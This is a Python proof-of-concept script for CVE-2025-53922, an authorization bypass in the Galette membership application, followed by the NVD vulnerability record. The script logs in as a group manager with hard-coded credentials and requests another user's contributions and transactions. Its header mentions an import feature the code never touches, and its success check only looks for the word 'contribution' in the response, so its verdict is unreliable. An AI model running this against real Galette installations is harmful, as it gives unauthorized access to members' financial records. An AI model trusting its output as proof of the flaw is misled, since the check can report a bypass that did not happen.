CVE-2025-53922

# CVE-2025-53922 PoC - Authorization Bypass in Galette # Target: Galette versions 1.1.4 to < 1.2.0 # Attack Vector: Group Manager bypasses access controls on Contributions/Transactions import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-galette.com" USERNAME = "group_manager_user" PASSWORD = "password123" def exploit_cve_2025_53922(): """ This PoC demonstrates the authorization bypass vulnerability where a group manager can access Contributions and Transactions they shouldn't have access to. """ session = requests.Session() # Step 1: Login as group manager login_url = f"{TARGET_URL}/login" login_data = { "login": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) if "logout" not in response.text.lower(): print("[-] Login failed") return False print("[+] Logged in as group manager") # Step 2: Try to access other users' contributions (bypass check) contributions_url = f"{TARGET_URL}/contributions" params = { "user_id": "other_user_id", # Target another user's data "ajax": "true" } response = session.get(contributions_url, params=params) # Step 3: Try to access transactions transactions_url = f"{TARGET_URL}/transactions" response = session.get(transactions_url, params=params) if response.status_code == 200 and "contribution" in response.text.lower(): print("[+] Authorization bypass successful - accessed unauthorized data") print("[+] Vulnerability CVE-2025-53922 is present") return True else: print("[-] Access denied or data not found") return False if __name__ == "__main__": exploit_cve_2025_53922()

{"cve": {"id": "CVE-2025-53922", "sourceIdentifier": "[email protected]", "published": "2025-12-19T16:15:56.973", "lastModified": "2026-01-02T14:55:01.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Galette is a membership management web application for non profit organizations. Starting in version 1.1.4 and prior to version 1.2.0, a user who is logged in as group manager may bypass intended restrictions on Contributions and Transactions. Version 1.2.0 fixes the issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:galette:galette:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.1.4", "versionEndExcluding": "1.2.0", "matchCriteriaId": "8EB5DB2F-B2F7-4ED4-95D9-2D12F0508F21"}]}]}], "references": [{"url": "https://github.com/galette/galette/security/advisories/GHSA-5jp7-5c38-3pv6", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}